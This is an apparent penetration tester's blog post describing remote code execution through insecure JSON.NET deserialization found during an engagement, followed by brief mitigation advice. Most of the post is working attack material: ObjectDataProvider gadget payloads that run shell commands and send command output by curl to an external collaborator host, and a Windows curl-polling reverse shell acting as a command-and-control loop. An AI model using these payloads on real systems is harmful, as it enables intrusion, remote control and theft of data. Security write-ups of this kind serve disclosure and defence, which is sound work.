Exploiting JSON.NET Deserialization for Remote Code Execution
Introduction
In modern .NET
applications, JSON
is the de facto standard for data exchange between client and server. Libraries like JSON.NET
(Newtonsoft.Json) make serialization and deserialization seamless—but with convenience often comes risk. When developers unknowingly expose deserialization functionality to untrusted input, it opens the door to devastating consequences.
This blog post cover a critical vulnerability found during one of my engagement: Remote Code Execution (RCE) via insecure JSON.NET deserialization. Unlike common injection flaws, this class of vulnerability happens from subtle trust assumptions in object construction, and when exploited correctly, allows an attacker to gain arbitrary code execution on the target system.
Let’s go!
“To demonstrate the exploitation technique without exposing any client-sensitive infrastructure, identifiable hostnames and token values have been redacted or replaced with placeholders.”
Discovery of Deserialization Sink
During initial recon, I’ve came across an unauthenticated API endpoint accepting POST
requests with JSON
payloads. The endpoint behavior suggested server-side processing of arbitrary JSON structures. A closer inspection of responses and error messages hinted at usage of the JSON.NET library with dangerous settings that allowed attacker controlled input to influence type resolution.
I began testing with various payloads containing the $type
field, which JSON.NET
uses to resolve and instantiate .NET
types dynamically. The application accepted these values and attempted to resolve the corresponding types which is a strong evidence that TypeNameHandling
was enabled server-side.
This was definitely an insecure deserialization sink. An attacker-controlled JSON, dynamic type resolution, and no authentication barrier!
This vulnerability is not limited to the specific access point tested. Any part of the application that accepts a JSON body in a POST
request and processes it using the vulnerable deserialization logic could be exploited in the same way. This considerably widens the attack surface, making the entire application susceptible to exploitation if appropriate validation measures are not implemented.
From Type Confusion to Code Execution
JSON.NET
supports polymorphic deserialization using the $type
field, which allows the incoming JSON to specify the concrete type to instantiate. While useful for legitimate polymorphic models, it’s inherently dangerous when exposed to untrusted input.
I exploited this by leveraging a gadget class in the .NET
Framework: System.Windows.Data.ObjectDataProvider
. This class, when deserialized, can invoke arbitrary methods and effectively becomes a deserialization-based method dispatcher.
Combined with System.Diagnostics.Process
, I crafted a payload that executes system commands on the server and sent it via a POST
request:
POST /[REDACTED]/[REDACTED]/Login/Login HTTP/2
Host: REDACTED
[…]
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"$values": ["cmd", "/c dir | curl -X POST --data-binary @- http://my_burp_collaborator"]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}
}
Payload Breakdown:
$type
– Tells JSON.NET to instantiate an ObjectDataProvider, a gadget capable to invoke methods.MethodName
– Invokes the Start method on the suppliedObjectInstance
.MethodParameters
– Passescmd
and a shell command to Start.ObjectInstance
– The actualSystem.Diagnostics.Process
object, which executes the command.
When deserialized, the application launched a shell, ran the dir command, and exfiltrated the output via curl to my Burp collaborator.
The server returned an error…
HTTP/2 500 Internal Server Error
[…]
[…]
Cannot apply indexing with [] to an expression of type
'System.Windows.Data.ObjectDataProvider'.
[…]
But still receive the content of c:\windows\system32\inetsrv
dir on my Burp collaborator and this confirmed full remote code execution.
After I confirmed the application was deserializing untrusted JSON with type resolution enabled, I incrementally escalated the attack from simple command execution to full remote shell access. Below is a breakdown of each stage.
Environment Fingerprinting
I gathered system-level intelligence to understand the target environment. Using the systeminfo
command, I retrieved OS version, installed patches, system architecture, and domain information. This step helped to determine exploit feasibility and privilege context.
POST /[REDACTED]/[REDACTED]/Login/Login HTTP/2
Host: REDACTED
[…]
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"$values": ["cmd", "/c systeminfo | curl -X POST --data-binary @- http://my_burp_collaborator"]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}
}
File Upload Attempts
I attempted to write several reverse shell payloads directly to the file system using chained shell commands and echo redirection. While the files were successfully written, execution failed likely due to permission restrictions and a very sensitive AV ☹️.
Full Remote Shell
After reworking my approach, I achieved stable remote code execution via a Windows one-liner reverse shell. The payload used curl in a polling loop to communicate with an external server, fetch commands, execute them locally, and exfiltrate the results. This technique avoided spawning an interactive shell, favoring a covert C2-like protocol over HTTPS.
@echo off
& cmd /V:ON /C (
SET ip=REDACTED:443
&& SET sid="Authorization: eb6a44aa-8acc1e56-629ea455"
&& SET protocol=https://
&& curl !protocol!!ip!/eb6a44aa -H !sid! > NUL
&& for /L %i in (0) do (
curl -s !protocol!!ip!/8acc1e56 -H !sid! > !temp!cmd.bat
& type !temp!cmd.bat | findstr None > NUL
& if errorlevel 1 (
(!temp!cmd.bat > !tmp!out.txt 2>&1)
& curl !protocol!!ip!/629ea455 -X POST -H !sid! --data-binary @!temp!out.txt > NUL
)
& timeout 1
)
) > NUL
This command established a functional command-and-control loop, giving me full execution capability on the target machine without opening an inbound listener.
POST /[REDACTED]/[REDACTED]/Login/Login HTTP/2
Host: REDACTED
[…]
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"$values": ["cmd", "/c@echo off&cmd /V:ON /C "SET ip=1REDACTED:443&&SET sid=\"Authorization: eb6a44aa-8acc1e56-629ea455\"&&SET protocol=https://&&curl !protocol!!ip!/eb6a44aa -H !sid! > NUL && for /L %i in (0) do (curl -s !protocol!!ip!/8acc1e56 -H !sid! > !temp!cmd.bat & type !temp!cmd.bat | findstr None > NUL & if errorlevel 1 ((!temp!cmd.bat > !tmp!out.txt 2>&1) & curl !protocol!!ip!/629ea455 -X POST -H !sid! --data-binary @!temp!out.txt > NUL)) & timeout 1" > NUL"]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}
}
Connection received:
Recommendations
To prevent exploitation scenarios like the one described in this article, teams should adopt a secure-by-default approach to deserialization. Below are practical, technical mitigations:
Defensive Coding Practices
- Disable
TypeNameHandling
globally in JSON.NET unless there’s a legitimate business case. If required, avoidTypeNameHandling.All
; preferNone
. - Implement a custom
SerializationBinder
to strictly control which types can be deserialized. Whitelisting is critical.
new JsonSerializerSettings {
TypeNameHandling = TypeNameHandling.Objects,
SerializationBinder = new SafeTypeBinder() // implement whitelisting
}
- Never deserialize user input directly. Isolate or pre-validate untrusted data before passing it into any deserialization logic.
- Treat deserialization as dangerous by default, especially if the source is not authenticated or signed.
Operational Security Measures
- Use runtime application self-protection (RASP) or EDR tools to monitor process launches from application servers.
- Apply strict egress filtering. Block outbound connections from app servers unless explicitly required.
- Harden the runtime. Run .NET apps with constrained privileges. Avoid running under SYSTEM or administrative contexts.
Conclusion
This vulnerability is a great example of how power features in mature libraries like JSON.NET’s polymorphic deserialization can become liabilities when used without a security first mindset. The exploit path from anonymous POST
request to remote code execution was short, silent, and could cause serious impact.
Serialization is not just data handling, it’s executable logic. Treat it with the same caution as SQL or shell commands. At least mitigation is not complex and defaults like TypeNameHandling.All
should be treated as dangerous.
Thank you for reading 🙂